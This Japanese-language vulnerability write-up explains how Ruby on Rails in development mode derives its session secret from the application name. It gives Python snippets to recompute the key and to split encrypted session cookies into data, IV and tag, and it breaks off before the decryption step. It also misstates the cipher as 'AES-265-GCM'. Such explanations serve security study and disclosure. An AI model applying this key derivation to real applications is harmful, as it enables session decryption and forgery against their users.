
脆弱性により、攻撃者が自動生成された開発モードの秘密トークンを推測できる可能性があります。
脆弱性により、攻撃者が自動生成された開発モードのシークレットトークンを推測できる可能性があります。
Ruby-on-Railsが開発モードで実行されている場合。開発モードでは、攻撃者がセッションを保護するために使用されるキーを推測することが可能です。
Railsは3つの環境(development, test, production)を使用します。アプリケーションが開発モードを使用する場合、シークレットトークンを推測し、暗号化されたセッションを復号化することができます。
セッションを保護するために使用されるキーは、アプリケーション名から派生します。
例:
rails new Jakom
Jakom: アプリケーション名。
これにより、キーが生成メソッドの出力であることを推測できます:
PKDF2_HMAC_SHA1[ MD5 [ APPNAME + "::Application" ] , salt: "authenticated encrypted cookie" , iterations: 1000 , key's length: 32 ]
ここで見られるように:
key = pbkdf2_hmac("sha1", md5_name.encode("utf-8"), "authenticated encrypted cookie".encode("utf-8"), 1000, 32)
Railsでは、セッションはAES-265-GCMで暗号化されています。キーがあれば、セッションの復号化/暗号化が可能です。
最後に必要なのはセッションの形式です:
BASE64 [ DATA ] -- BASE64 [ IV ] -- BASE64 [ AUTH_TAG ]
ここで見られるように:
data = binascii.hexlify(base64.b64decode(base64_data.split("--")[0])).decode("utf-8")
iv = binascii.hexlify(base64.b64decode(base64_data.split("--")[1])).decode("utf-8")
tag = binascii.hexlify(base64.b64decode(base64_data.split("--")[2])).decode("utf-8")
セッションクッキーの最初の部分は暗号化データ、2番目の部分はIV、3番目の部分はGCMタグ(認証タグ)です。
これらの情報を使って、セッションを直接復号化できます:

